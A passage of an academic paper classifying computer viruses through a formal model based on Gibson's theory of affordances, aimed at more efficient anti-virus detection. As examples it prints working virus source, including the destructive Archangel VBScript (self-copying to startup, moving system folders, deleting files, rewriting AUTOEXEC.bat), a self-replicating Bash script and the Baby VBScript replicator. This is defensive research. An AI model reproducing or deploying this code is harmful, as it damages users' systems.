Classification of Computer Viruses Using the Theory of Affordances

Matt Webster and Grant Malcolm*

Abstract

We present a novel classification of computer viruses based on a formalised notion of reproductive models that use Gibson's theory of affordances. A computer virus reproduction model consists of a labelled transition system to represent the states and actions involved in that virus's reproduction; a notion of entities that are active in the reproductive process, and are present in certain states; a sequence of actions corresponding to the means of reproduction of the virus; and a formalisation of the affordances that apply. Informally, an affordance is an action that one entity allows another to perform. For example, an operating system might afford a computer virus the ability to read data from the disk. We show how computer viruses can be classified according to whether any of their reproductive actions are afforded by other entities, or not. We show how we can further sub-classify based on whether abstract reproductive actions such as the self-description, reproductive mechanism or payload are afforded by other entities. We give examples of three computer virus reproduction models constructed by hand, and discuss how this method could be adapted for automated classification, and how this might be used to increase the efficiency of detection of computer viruses. To demonstrate this we give two examples of automated classification and show how the classifications can be tailored for different types of anti-virus software. Finally, we compare our approach with similar work, and give directions for future research.

Keywords: Computer virus - Malware - Classification - Formalisation - Reproduction - Models - Affordances - Detection.

*Department of Computer Science, University of Liverpool, Liverpool, L69 3BX, UK. Email: {matt,grant}@csc.liv.ac.uk.

1 Introduction

This paper describes a new approach to the classification of reproducing malware based on Gibson's Theory of Affordances [11]. (Informally, an affordance is an action that can be performed in an environment by an agent in collaboration with another agent in the environment.) This approach arose from work on the related problem of reproducer classification [29, 27], in which reproducers could be classified according to whether or not their self-description and reproductive mechanism, two essentials for reproduction, are afforded to the reproducer by an external agent or by the reproducer itself. For example, biological viruses such as the T4 bacteriophage afford themselves a self-description in the form of a genome encoded in RNA contained within the virus, but they lack a sufficient reproductive mechanism, which must be provided by an external agent in order for the virus to complete its reproductive process. In the case of the T4 bacteriophage, this external agent is a bacterium that can take the virus's genome and produce an offspring based on it. There are obvious parallels with computer viruses, which must produce an offspring based on a self-description (e.g., source code), which is passed to some reproductive mechanism (e.g., file input/output routines offered by an operating system) in order to complete a reproductive process. Computer viruses are therefore reproducers, and we can apply a similar method to their classification.

The original problem of classification in computer virology lay in distinguishing viruses from non-viruses [7], and to this end much of the literature in the area is concerned with this problem, which is essential to the functionality of anti-virus software. However, further sub-classifications of the class of computer viruses have been given in the literature. Adelman [1] divides the computer virus space into four disjoint subsets of computer viruses (benign, Epeian, disseminating and malicious). Spafford [22] gives five different generations of computer viruses which increase in complexity, from "Simple" to "Polymorphic". Weaver et al [25] have given a taxonomy of computer worms based on several criteria including target discovery and worm carrier mechanisms. Goldberg et al [12], Carrera & Erdélyi [6], Karim et al [15, 16] and Wehner [30] present classifications of malware based on phylogenetic trees, in which the lineage of computer viruses can be traced and a "family tree" of viruses constructed based on similar behaviours. Bonfante et al [3, 4] give a classification of computer viruses based on recursion theorems. Gheorghescu [10] gives a method of classification based on reuse of code blocks across related malware strains. A classification given by Bailey et al [2] is based on the clustering of malware that share similar abstract behaviours. In addition, both Filiol [8] and Ször [23] give comprehensive overviews of the state of the art of malware, including classification methods.

Most antivirus software vendors have their own schemes for malware naming, which involve some implicit classification, e.g., names like `W32.Wargbot` or `W97M/TrojanDropper.Lafool.NAA` give some information about the platform (e.g., 32-bit Microsoft Windows) and/or the primary reproductive mode of the virus (e.g., "trojan dropper"). Recently there have been efforts to standardise the many and varied malware naming schemes, e.g., the Common Malware Enumeration (CME) project [18] and the Computer Antivirus Research Organization (CARO) virus naming convention [5]. CME is still at an early stage, and the current status of CARO is unclear. However, it is clear that we are far from ubiquity with respect to malware naming schemes, as is revealed recent surveys [13, 10].

Our classification differs from previous work in that it is constructed upon a formalised abstract ontology of reproduction based on Gibson's theory of affordances. Using our ontology we can classify computer viruses at different abstraction levels, from behavioural abstractions in the vein of Filiol et al [9] to low-level assembly code semantical descriptions in the vein of our earlier work on metamorphic computer virus detection [28]. We are able to distinguish formally between viruses that require the help of external agency and those that do not, giving a potential application to prioritisation and increased efficiency for anti-virus software, which may be of particular use on systems where resources are limited. The recent trend of malware infection of mobile computing systems [20, 24, 31, 19] would be one such application. We show how this process could be automated, an advantage given the frequency of malware occurrence and the laboriousness of classification by hand.

In Section 2 we present our ontology, and give overviews of the various reproductive types. We give three examples of computer virus classification by constructing computer virus reproduction models by hand, and how this lets us compare different computer viruses under the same ontology. In Section 2 we discuss a potential application to computer virus detection; namely in the development of a classification that separates viruses that are difficult to detect at run-time by behaviour monitoring from those that are not. To this end, we present examples of models of reproductive processes at a much lower level, and show how these models might be generated algorithmically. Automating this process could give automated classification of viruses, either by static or dynamic analysis, and we can separate viruses into two distinct groups: those that are not reliant on external agency, and those that are. We show that we define the notion of external agency based on what is possible for different anti-virus software, and therefore the classification of viruses can be tailored to suit individual circumstances. We show how it is possible to develop metrics for comparing those viruses that depend on external entities, so that viruses that rely on external entities can be assessed for their potential difficulty of detection at run-time by behaviour monitoring. The overall aim of this application to computer virus detection is to enable prioritisation and increased efficiency for anti-virus software. For example, some viruses may be shown to be difficult to detect at run-time by behaviour monitoring, and therefore an anti-virus scanner could prioritise its scanning by non-behavioural means to search for these viruses first. We think this may be of particular use on systems where resources such as processor speed and memory are limited, such as mobile computing applications like cell phones, PDAs or smartphones. Finally, in Section 4 we give an overview of our approach. We compare it to other approaches to computer virus classification in the literature, and give directions for future research.

2 Computer Virus Classification

2.1 Models of Computer Virus Reproduction

Our models of computer virus reproduction are a special case of our earlier work on models of reproducers [29, 27]. Our classification of reproducers is based on the ontological framework given by Gibson's theory of affordances. Originally Gibson proposed affordances as an ecological theory of perception: animals perceive objects in their environment, to which their instincts or experience attach a certain significance based on what that object can afford (i.e., do for) the animal. For example, for a small mammal a cave affords shelter, a tree affords a better view of the surroundings, and food affords sustenance. These relationships between the animal and its environment are called affordances. Affordance theory is a theory of perception, and therefore we use the affordance idea as a metaphor: we do not suggest that a computer virus perceives its environment in any significant way, but we could say metaphorically that a file affords an infection site for a computer virus, for example.

For the purposes of our ontology and classification, an affordance is a relation between entities in a reproduction system. In the case of a particular computer virus, it is natural to specify the virus as an entity in most cases, with the other entities composed of those parts of the virus's environment which may assist the virus in some way. Therefore, we could include as entities such things as operating system application programming interfaces (APIs), disk input/output routines, networking APIs or protocols, services on the same or other computers, anti-virus software, or even the user. We are able to include such diverse entities in our models since we do not impose a fixed level of abstraction; the aim is to be able to give a framework that specifies the reproductive behaviour of computer viruses in a minimal way, so that classifications can be made to suit the particular circumstances we face; we may wish to tailor our classification so that viruses are divided into classes of varying degrees of difficulty of detection, for example.

We assume that any model of a reproductive process identifies the states of affairs within which the process plays itself out. For computer viruses, these states of affairs may be very clearly and precisely defined: e.g., the states of a computer that contains a virus, including the files stored on disk, the contents of working memory, and so forth. Alternatively, we can use abstract state transitions corresponding to abstract behaviours of the computer virus. Abstract actions have been used before to describe computer viruses [9, 2], and in the examples in this section we adopt that approach. We will demonstrate how these abstract models can be constructed, and how they are used in computer virus classification. Abstract models are usually based on an abstract sense of how the computer virus operates and interacts with its environment; different points of view can result in different abstract models of the same virus. These abstract models are shown to be useful to classify viruses according to different criteria, and based on whether they use external entities in their reproductive processes, and to what degree.

Two key elements of the states of a model are the entities that partake in the various states, and the actions that allow one state to evolve into another state. For a computer virus, these states could be abstract, or represent the states of the processor or virtual machine which executes the virus. The entities would be the parts of the computer system that enable the virus to reproduce; we might choose to include operating system APIs, network protocols, nodes or services on the network, disk input/output operations, calls to system libraries (e.g., DLLs on the Microsoft Windows platform), and so on. In general, we assume that a model identifies the key entities or agents that take part in the process being modelled, and has some way of identifying whether a particular entity occurs in a particular state of affairs (e.g., a network service may only be available at certain times). We also assume that a model identifies those actions that are relevant to the computer virus being modelled, and describes which actions may occur to allow one state of affairs to be succeeded by another. Therefore, we will use a labelled transition system to model the dynamic behaviour of a virus.

This basic framework allows us to talk about reproductive processes: we can say that reproduction means that there is some entity v (a computer virus), some state s (the initial state of the reproductive process) with v present in state s (denoted "$v \;\varepsilon\; s$" — see Definition 1 below) and some path $p = a_1, \ldots, a_n$ of actions, such that p leads, through a succession of intermediate states, to a state s' with $v \varepsilon s'$. This, of course, allows for both abstract reproductive systems where we have identified abstract actions which correspond to the virus's behaviour, as well as low-level modelling at the assembly code or high-level language statement level. We assume that the relation $v \varepsilon s$ can be made abstract enough to accommodate an appropriate laxity in the notion of entity: i.e., we should gloss $v \varepsilon s$ as stating that the entity v, or a copy of v, or even a possible mutation of v by polymorphic or metamorphic means, is present in the state s. In computer virology, such an abstraction was explicit in the pioneering work of Cohen [7], where a virus was identified with the "viral set" of forms that the virus could take. This approach is useful for polymorphic or metamorphic viruses that, in an attempt to avoid detection, may mutate their source code.

So far we have given an informal discussion of affordances, as well as a justification for using labelled transition systems to model the reproductive behaviour of computer viruses. We will now define affordances formally as the set of actions that one entity affords another. We write $\mathit{Aff}(e, e')$ for the actions that entity e affords to entity e'. The idea is that these are actions that are available to e' only in states where e is present. Thus, we require that a model carves up these actions in a coherent way: formally, $a \in \mathit{Aff}(e, e')$ implies that for any state s where e' is present, the action a is possible (i.e., a leads to at least one state that succeeds s) only if e is also present in s.

This discussion is summarised in the following

Definition 1 *A* computer virus reproduction model *consists of:*

- *a labelled transition system $(S, A, \longmapsto)$, where S is a set of states, A is a set of actions (labels), and $\longmapsto$ is a ternary relation for labelled transitions between states, s.t. if $s \overset{a}{\longmapsto} s'$, the action a occurring in the state s leads to the new state s';*

- *a set Ent of* entities *and a relation $\_ \varepsilon \_$ between entities and states, where for $e \in Ent$ and $s \in S$, $e \varepsilon s$ indicates that e is present in the state s;*

- *a function Aff that assigns to two entities e and e', a set $\mathit{Aff}(e, e')$ of possible actions, in such a way that if $a \in \mathit{Aff}(e, e')$, then for all states s with $e' \varepsilon s$, a is possible in s (i.e., $s \overset{a}{\longmapsto} s'$ for some state s') only if $e \varepsilon s$. Notionally, $\mathit{Aff}(e, e')$ is the set of affordances that e gives to e';*

- *a path $s \overset{w}{\longmapsto}_* s'$ where $w \in A^*$ and an entity $v \in Ent$ with $v \varepsilon s$ and $v \varepsilon s'$. Notionally v is the virus that reproduces in this model.*

We shall see below how these formal models of computer virus reproduction can be used to classify computer viruses and other forms of reproducing malware.

2.2 Reproductive Types

The key distinction in our classification is the ability to distinguish between computer viruses which require the help of external entities, and those that do not. We call the former "Type I" computer viruses, and the latter "non-Type I". As we shall see, we can further divide up the space of computer viruses according to whether or not certain key parts of a reproductive process such as the self-description and reproductive mechanism are afforded by external entities. (We distinguish between a reproductive *mechanism* and a reproductive *process*; the reproductive mechanism being that part of the reproductive process which involves producing an offspring based on the information in the self-description.) For the purposes of this sub-classification outside Type I, we may define subsets of actions which correspond to particular abstract actions. For example, in the case of computer viruses, we may decide that a given set of actions corresponds to the virus's payload, i.e., that part of the virus that does not cause the virus to reproduce, but instead produces some side-effect of virus infection, e.g., deleting all files of a certain type. In addition to the payload abstract action, previous work on reproducer classification [29, 27] showed that abstract actions corresponding to the self-description and reproductive mechanism of reproducers gave explanatory power. (For the sake of simplicity, we will refer to the sets of actions corresponding to the self-description and reproductive mechanism as A_{sd} and A_{rm} respectively.) We shall show below how the notions of self-description and reproductive mechanism have explanatory power in the case of computer viruses and other forms of reproducing malware.

2.2.1 Type I Computer Viruses

Type I computer viruses are those that do not require the help of external entities in their reproductive process. In terms of the reproduction models described earlier, we say that there are no actions in the reproductive process of a Type I computer virus that are afforded by any external entity.

2.2.2 Non-Type I Computer Viruses

The key characteristic of non-Type I computer viruses is that they require the help of an external entity. As we will show in Section, we can define external entities according to the abilities of different kinds of anti-virus software, and therefore use the classification to distinguish between computer viruses that are possible to detect at run-time by behaviour monitoring or not.

In addition we have divided non-Type I computer viruses into three further types.

Type II computer viruses are those that require help with their reproductive mechanism, but not their self-description. Some types of computer virus contain a self-description in the form of a encoded version of their source code, e.g., viruses that are quines. Other might obtain a self-description at run-time by self-analysis. In terms of Type II computer virus reproduction models, there are no actions in the abstract reproductive action set A_{sd} (which is the set of actions corresponding to the self-description) which are afforded by an external entity to the virus, but there is at least one action in A_{rm} (which is the set of actions corresponding to the reproductive mechanism of the virus) which is afforded by an external entity.

Type III computer viruses are those that require help with their self-description, but not their reproductive mechanism. Therefore, an example of a Type III computer virus might be a compiler. Compilers are capable of creating an executable version of any program in a given language, including themselves, but they cannot afford themselves a self-description — this is afforded by an external agent, e.g., a user, who inputs the compiler's own source code. Therefore all compilers can be modelled as Type III computer viruses. In terms of Type III computer virus reproduction models, there are no actions in the abstract reproductive action set A_{rm} which are afforded by an external entity to the virus, but there is at least one action in A_{sd} which is afforded by an external entity.

Type IV computer viruses are those that require help with both their self-description and their reproductive mechanism. In terms of computer virus reproduction models, there is at least one action in A_{rm} and A_{sd} which is afforded by some external entity. This entity may be different for both A_{rm} and A_{sd}; the key feature here is that

2.3 Example: Unix Shell Script Virus

The virus given in Fig. 1 is a Unix shell script virus which runs when interpreted using the Bourne-again shell (Bash). The first three lines of the virus define three variables that contain the program code and aliases for single and double quotation marks. The next three statements of the program code output these data into a new file called `.1`. The seventh statement of the program appends the program code to `.1`, and the final statement of the program changes the file permissions of `.1` so that it is executable. At this

```
1   st='echo st=$sq${st}$sq > .1;echo dq=$sq${dq}$sq >> .1; echo
        sq=$dq${sq}$dq >> .1;echo $st >> .1; chmod +x .1'
2   dq='"'
3   sq="'"
4   echo st=$sq${st}$sq > .1;
5   echo dq=$sq${dq}$sq >> .1;
6   echo sq=$dq${sq}$dq >> .1;
7   echo $st >> .1;
8   chmod +x .1
```

Figure 1: Unix shell script virus.

point the reproductive process is complete.

For the sake of simplicity in this section and in Sections 2.5 and 2.6 we will present minimalistic models of virus behaviour. A more concrete model would specify the states of the Bash interpreter, including environmental variables and the state of the file store, along the lines of the algebraic specifications given in our earlier work [26, 28].

We consider a typical execution run of the Bash virus, i.e., we neglect any anomalies which might prevent the reproductive process from completing, such as the hard disk crashing or the user terminating an essential process. Let $S = \{s_1, s_2, \ldots, s_9\}$ and $A = \{a_1, a_2, \ldots, a_8\}$ where line i of the virus code (see Fig. 1) corresponds to the transition $s_i \xmapsto{a_i} s_{i+1}$. Therefore each statement in the shell script virus is an action, and the states therefore correspond to the states of the shell which runs the script. The reproductive path is therefore $s_1 \xmapsto{a_1} s_2 \xmapsto{a_2} \ldots \xmapsto{a_8} s_9$. We consider two entities, the bash virus v_B and the bash interpreter B, and therefore $\mathit{Ent} = \{v_B, B\}$. The virus is present in every state of its execution, and therefore $v_B \mathrel{\varepsilon} s$ for all states $s \in S$. Furthermore, we assume that the Bash interpreter is always present, and therefore $B \mathrel{\varepsilon} s$ for all $s \in S$. In order to classify the virus, we must consider which entities in Ent afford the actions in A, and which actions in A make up the sets of self-description actions (A_{sd}) and reproductive mechanism actions (A_{rm}). As mentioned earlier, the self-description of the virus is stored in environmental variables by statements 1–3, and therefore we say that $A_{sd} = \{a_1, a_2, a_3\}$. The reproductive mechanism is that part of the virus which takes the self-description and produces a copy of the virus. For this virus this corresponds to statements 4–8, and therefore $A_{rm} = \{a_4, a_5, \ldots, a_8\}$.

Classification takes place as follows. If we decide that the commands `echo` and `chmod` are afforded by the interpreter B to the virus v_B, then we know that $a_4, a_5, \ldots, a_8 \in \mathit{Aff}(B, v_B)$. Therefore we know that there is an action in A_{rm} that is afforded by an external entity (B) to the virus (v_B), but none of the actions in A_{sd} are afforded by an external entity, and therefore this virus must be a Type II reproducer. Alternatively, we might consider environmental variable assignments to be afforded by the bash interpreter to the virus. In this case $a_1, a_2, a_3 \in \mathit{Aff}(B, v_B)$ and therefore the virus would become a Type IV reproducer, since both there is at least one action in both the self-description and reproductive mechanism actions sets that is afforded by an external entity. We might also consider the case where B is no longer considered a separate entity. Under these circumstances, the set of entities consists only of v_B, and since there are no other entities v_B can be categorised as Type I.

2.4 Comparing Viruses Under One Ontology

Above we demonstrated that computer virus classification can be affected by decisions made about the ontology, e.g., redefining the parts of the viruses' behaviour which are afforded by an external entity. Now we shall show that once we have settled on a particular ontology, the classification of different viruses is affected by their differing behaviour.

Let us consider the shell script virus in Fig. 1, modified so that all occurrences of the string `.1` are replaced by `$0`. Readers familiar with Unix shell scripts will know that `$0` is interpreted by Bash as "insert the command which executed this shell script here". Typically, the virus above will be executed using the command "`virus.sh`", and consequently this string will be inserted wherever `$0` appears.

We shall use the first ontology presented above, which resulted in a Type II classification of the virus v_B. In the modified virus v'_B, every occurrence of `$0` must be replaced by `virus.sh` by the Bash interpreter, and therefore we know that the first three statements are afforded by the interpreter to the virus, i.e, $a_1, a_2, a_3 \in \mathit{Aff}(B, v'_B)$. All other details of the reproductive model remain unchanged. In this modified model there are actions in both A_{sd} and A_{rm} which are afforded by an external agent, and therefore we classify v'_B as Type IV. Thus, by modifying the virus so that it became more dependent on external entities, but keeping the ontology the same, we have forced a reclassification from Type II to Type IV.

2.5 Example: Virus.VBS.Archangel

Archangel (see Fig. 2) is a Visual Basic script virus written for the Microsoft Windows platform. In this section we are concerned only with classifying Archangel with respect to its reproductive behaviour, so we will ignore Archangel's payload actions and concentrate on the means by which

```
MsgBox "your computer is in the controle of SATAN!", 16, "Fear"
On Error Resume Next
Dim fso, newfolder, newfolderpath
newfolderpath = "c:\MyFolder"
set fso=CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(newfolderpath) Then
Set newfolder = fso.CreateFolder(newfolderpath)
End If
fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\SYSTEM\fun.vbs", True
fso.MoveFile "C:\WINDOWS\SYSTEM\*.*","C:\WINDOWS\MyFolder\"
fso, newfolder, newfolderpath
newfolderpath = "c:\WINDOWS\SYSTEM"
set fso=CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(newfolderpath) Then
Set newfolder = fso.CreateFolder(newfolderpath)
End If
fso.CopyFile Wscript.ScriptFullName, "C:\MyFolder", True
fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\SYSTEM\fun.vbs", True
fso.MoveFile "C:\WINDOWS\SYSTEM32","C:\WINDOWS\SYSTEM"
fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\SYSTEM\SYSTEM32\fun.vbs", True
fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\StartMenu\Programs\StartUp\fun.vbs", True
fso.DeleteFile "C:\WINDOWS\COMMAND\EBD\AUTOEXEC",True
fso.DeleteFile "C:\WINDOWS\Desktop\*.*"
fso.CopyFile Wscript.ScriptFullName, "C:\fun.vbs", True
set shell=wscript.createobject("wscript.shell")
set msc=shell.CreateShortCut("C:\WINDOWS\COMMAND\EBD\AUTOEXEC.bat")
msc.TargetPath=shell.ExpandEnvironment("C:\fun.vbs")
msc.WindowStyle=4
msc.Save
set batch=fso.CreateTextFile("C:\AUTOEXEC.bat")
batch.WriteLine "@echo off"
batch.WriteLine "cls"
batch.WriteLine "deltree /y C:\WINDOWS\Desktop\*.*"
batch.WriteLine "start C:\WINDOWS\SYSTEM\fun.vbs"
batch.Close
shell.Run  "C:\AUTOEXEC.bat"
```

Figure 2: Virus.VBS.Archangel. Some programming errors have been corrected.

Archangel reproduces. In line 5 the virus obtains a handle to the file system with the following statement:

```
set fso=CreateObject("Scripting.FileSystemObject")
```

This creates an object of the `Scripting.FileSystemObject` class called `fso`. Then, in line 9 Archangel is able to reproduce using the `ScriptFullName` property of the `Wscript` object, which contains the filename and path of the currently running instance of the Archangel virus. The `CopyFile` method of the `fso` object is invoked, and the reproductive process is complete:

```
fso.CopyFile Wscript.ScriptFullName, <dest>, True
```

This reproductive process occurs six times during each execution of the virus, with `<dest>` being replaced with a different filename and path each time.

We define the reproductive path in terms of the following labelled transition system (S, A and $\longmapsto$ are therefore defined implicitly):

$$s_1 \overset{fs}{\longmapsto} s_2 \overset{cf}{\longmapsto} s_3$$

where *fs* refers to the action in line 5 where the virus obtains a handle to the file system, and *cf* is the action in line 9 where a copy of the file containing the virus is made.

We assume that calls to external objects are afforded by the Windows operating system, which we give as an entity OS. Therefore $Ent = \{v_A, OS\}$ where v_A is the Archangel virus and OS is the operating system. We assume that both OS and v_A are present in all states, and therefore $e \mathrel{\varepsilon} s$ for all entities $e \in Ent$ and states $s \in S$. The self-description of the virus consists of the use of `Wscript.ScriptFullName` property, which gives the filename and path of the file containing the virus's self-description. This property occurs in the action cf, and since this property is external to the virus, it must be afforded by the operating system and therefore $cf \in Aff(OS, v_A)$. The reproductive mechanism consists of the call to the `fso.CopyFile` method, and the statement in line 5 which instantiates the `fso` object. Therefore $fs, cf \in Aff(OS, v_A)$. Since the statement in line 5 contains references to external resources `CreateObject` and `Scripting.FileSystemObject`, we know that $fs, cf \in Aff(OS, v_A)$. Now we know that both the self-description and reproductive mechanism abstract actions require the use of external entities, so Archangel is a Type IV computer virus in this model.

In a similar way to the Unix virus above, Archangel can be reclassified as Type I if we no longer consider OS to be a separate entity. Then, the only entity left is v_A and therefore it must be Type I.

2.6 Example: Virus.Java.Strangebrew

Strangebrew was the first known Java virus, and is able to reproduce by adding its compiled Java bytecode to other Java class files it finds on the host computer. After using a Java decompiler to convert the compiled bytecode to Java, we analysed Strangebrew's reproductive behaviour. Space limitations do not allow us to include the full output of the decompiler (which is over 500 lines); however, we present an overview of Strangebrew's reproductive behaviour for the purposes of classification.

Strangebrew searches for class files in its home directory, which it analyses iteratively until it finds the class file containing the virus. Then, it opens this file for reading using an instance of the Java RandomAccessFile class.

```
for(int k = 0; as != null && k < as.length; k++)
{
  File file1 = new File(file, as[k]);
  if(!file1.isFile() || !file1.canRead() ||
     !as[k].endsWith(".class") ||
     file1.length() % 101L != 0L)
    continue; // go to next iteration of loop
  randomaccessfile = new RandomAccessFile(file1, "r");
    ...
}
```

Once this file is opened Strangebrew parses the contents of the file, updating the file access pointer continually until it reaches its own bytecode, which it reads in two sections:

```
byte abyte0[] = new byte[2860];
byte abyte1[] = new byte[1030];
  ...
randomaccessfile.read(abyte0);
  ...
randomaccessfile.read(abyte1);
```

In terms of our abstract reproductive model, this section of the virus obtains a self-description, in the form of Java bytecode.

Next the virus closes its host file, and enters a similar second loop, this time searching for any Java class file that is not the host file (i.e., Strangebrew is now looking for potential hosts). When Strangebrew finds a target for infection, it opens the file for reading and writing:

```
randomaccessfile1 = new RandomAccessFile(file2, "rw");
```

Then, Strangebrew parses the bytecode of the potential host, updating the file access pointer until the first insertion point is reached. Strangebrew writes a number of built-in numeric constants to the host file, and in this way at least part of its self-description mechanism is built-in (i.e., afforded by Strangebrew to itself). Finally, Strangebrew finds the insertion points for the bytecode read in previously, and writes this to the host file:

```
randomaccessfile1.write(abyte0);
  ...
randomaccessfile1.write(abyte1);
```

In terms of our abstract model of reproduction, this section of Strangebrew corresponds to the reproductive mechanism which takes the self-description (Java bytecode) and forms an offspring (infected Java class file).

Classification is as follows. At least part of Strangebrew's self-description is built-in, in the form of the hardcoded numbers that are written to the host executable. However, Strangebrew also uses instances of various Java API classes to read in the rest of its self-description, e.g. File and RandomAccessFile. In particular, the method `read()` is used to this end. Part of Strangebrew's reproductive mechanism is built-in also, in terms of the statements that result in the correct insertion points being found, for example. However, Strangebrew also uses the File and RandomAccessFile Java API classes for its reproductive mechanism, in particular the `write()` method.

We can model the reproduction of Strangebrew as follows. We define a set of states $S = \{s_1, s_2, \ldots, s_7\}$, and a set of entities $Ent = \{v_S, API\}$, where v_S is the Strangebrew virus and API is the Java API. Let the following abstract actions represent the behaviours of the Strangebrew virus:

- search-for-host-file $= a_1$
- find-self-description $= a_2$
- read-in-self-description $= a_3$
- search-for-host-file $= a_4$
- find-insertion-point $= a_5$
- write-self-description $= a_6$

Therefore the set of actions $A = \{a_1, a_2, \ldots, a_6\}$.
Then, the path of reproduction is as follows:

$$s_1 \xmapsto{a_1} s_2 \xmapsto{a_2} s_3 \xmapsto{a_3} s_4 \xmapsto{a_4} s_5 \xmapsto{a_5} s_6 \xmapsto{a_6} s_7$$

By analysis of the virus given above we know that all of these actions use the Java API to function, and therefore $a_1, a_2, \ldots a_6 \in \mathit{Aff}(API, v_S)$. Since the actions a_1 to a_6 describe completely the reproductive behaviour of Strangebrew, we know that both the self-description and reproductive mechanism abstract reproductive actions are afforded by external entities, and therefore Strangebrew is a Type IV computer virus.

Again, we can reclassify Strangebrew as Type I if we remove the entity API from the reproduction model.

3 Automated Classification for Detection

In the simple examples above we have seen the flexibility of classification within our ontology. It is possible to make various classifications of the same virus by modifying the reproduction model that results in the classification. In this section, we will show how this flexibility lets us tailor the classification towards the capabilities of particular anti-virus software, and in doing so classify viruses according to difficulty of detection by behaviour monitoring.

It has been shown that it is possible to classify computer viruses using our affordance-based ontology according to their degree of reliance on external agency. However, the classification methods shown thus far depend on humans to identify which parts of a computer virus correspond to a self-description and reproductive mechanism, and whether these rely on external agency or not. In the case of classification of an assembly language computer virus, for example, such classification would be laborious and slow, and would have to be completed separately for each computer virus or worm.

The question arises: is it possible to automate this process so that classification could be done without so much human toil? It seems that to distinguish the self-description and reproductive mechanism requires human intelligence, since these are qualities we assign to computer viruses (and other reproducers) in such a way that makes sense to us. This part of the classification is therefore ontological; it lets us view and classify computer viruses in a way that distinguishes common features and arranges like with like. It is, perhaps, not surprising that such a process is not easily automatable. However, the second part of the classification process — determining which parts of the virus rely on external agents — shows greater promise for automation. One can imagine a situation where an assembly code virus can be analysed and classified according to whether it requires the aid of external agency or not, once we have defined what those external agents are. For instance, if we choose the operating system to be an external agent, then any assembly language statement which uses a feature of the operating system API must require the aid of an external agent. Therefore we would know that any such virus is not Type I, because Type I reproducers are those that do not require the help of any external entity so defined within the reproduction model.

Therefore, classification as Type I or non-Type I is a relatively straightforward automatable task, but classification into Types II, III and IV is not. In order to classify non-Type I reproducers we must prove reliance on external entities. In order to classify a Type I reproducer we must show the opposite. This could be achieved by static analysis, dynamic analysis or a combination of the two. Static analysis classification would take place in a similar manner to that described above: the source code of a virus could be analysed for any use of an external entity. This could be a process as simple as string-matching for any calls to the operating system API, for example. If any were found then we would know that the virus was not Type I. However, static analysis is limited in the case of computer viruses that employ code obfuscation techniques, e.g., a polymorphic virus may use the operating system API by decoding these statements at run-time, so that they would not appear in the source code of the virus. Therefore, static analysis for automated classification is just as limited other methods that use static analysis, e.g., heuristic analysis. Classification by dynamic analysis would take place empirically. The suspect virus would be executed a number of times, in order to determine whether it makes any calls to an external agency. Of course, this assumes that we are able to intercept such calls, but as we shall see this might actually be a help rather than a hindrance. The advantage of dynamic over static analysis is that polymorphic viruses would not be able to employ code obfuscation to hide their reliance on external agency. However, the obvious disadvantage is that the virus may conceal its behaviour in other ways, such as only reproducing at certain times so that we may observe the virus to be unreliant upon external agency only because it has not reproduced. Therefore we would need to be sure that the virus has reproduced, which depending on the virus, can be a difficult problem in itself. Overall, classification by automated means is possible but limited, as are most other forms of classification for virus detection.

As we have discussed, classification into Type I versus non-Type I is potentially automatable. However, it may be even more useful to sub-categorise those viruses outside Type I according to their amount of reliance on external agency. This metric would rely on whether we have used static or dynamic analysis (or both) for classification. For example, one such metric would be to simply count the number of times a virus accesses an external resource, either by static analysis (counting the occurrence of such statements) or by dynamic analysis (monitoring behaviour over a period of time and performing statistical analysis to find the mean, for example). It would also be possible to tailor metrics for various purposes, e.g., additional weighting to instructions that control network data operations might identify the most network-intensive worms, for example. More information, including an example of such a metric, is given in Section 3.4.

3.1 Anti-Virus Software Ontologies

We have seen how computer viruses can be classified differently according to how we define the virus's ecology, e.g., defining the operating system as an external agent might take a virus from Type I to Type II. We can take advantage of this flexibility of classification to tailor the classification procedure towards assisting anti-virus software. The increasing risk of reproducing malware on systems where resources are highly limited, e.g., mobile systems such as phones, PDAs, smartphones, etc., is well documented [20, 24, 31, 19]. However, the limited nature of the resources on these systems is likely to increase the difficulty of effective anti-virus scanning. In any case, it is preferable to the manufacturers, developers and users of all computing systems to use only the most efficient anti-virus software.

It is possible to adjust classification of viruses according to the behaviour monitoring abilities of anti-virus software, and in doing so create a tailored classification that will allow increased efficiency of anti-virus software. For example, if the anti-virus can detect network API calls but not disk read/write calls, then it is logical to classify the network as an external agent but not the disk. Therefore, Type I reproducing malware will (in this classification) be those that do not use the network or any other external entity. The viruses outside Type I will be those that do use external entities, and therefore can be detected at run-time by behaviour monitoring. In other words, we can classify viruses according to whether or not they are detectable at run-time by behaviour monitoring using affordance-based classification. If resources are limited then we may choose to prioritise the detection by static analysis of the Type I viruses since these are not detectable at run-time by behaviour monitoring. This would consequently increase the detection efficiency of the anti-virus software since Type I malware may be detectable by other means, e.g., static analysis, even if it is not detectable at run-time by behaviour monitoring. Viruses outside Type I should be detectable at by behaviour monitoring, so the Type I viruses can be prioritised for non-behavioural detection methods.

Therefore, we can see that anti-virus software imposes a restricted form of the ontology, where external entities are defined as those things beyond the

```
1   Randomize: On Error Resume Next
2   Set FSO = CreateObject("Scripting.FileSystemObject")
3   Set HOME = FSO.GetFolder(".")
4   Set Me_ = FSO.GetFile(WScript.ScriptFullName)
5   Baby = HOME & "\" & Chr(Int(Rnd * 25) + 65) &
    Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) &
    Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) &
    Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) &
    Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & ".txt.vbs"
6   Me_.Copy(Baby)
```

Figure 3: Virus.VBS.Baby. Several non-functional lines have been omitted.

